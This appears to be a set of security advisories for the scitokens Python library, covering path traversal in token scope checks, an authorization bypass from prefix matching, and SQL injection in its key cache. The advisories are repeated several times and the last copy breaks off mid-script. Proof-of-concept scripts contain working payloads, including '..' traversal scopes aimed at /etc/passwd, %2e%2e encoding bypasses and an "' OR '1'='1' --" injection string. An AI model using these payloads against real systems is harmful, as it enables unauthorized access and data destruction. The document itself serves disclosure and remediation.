scitokens

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
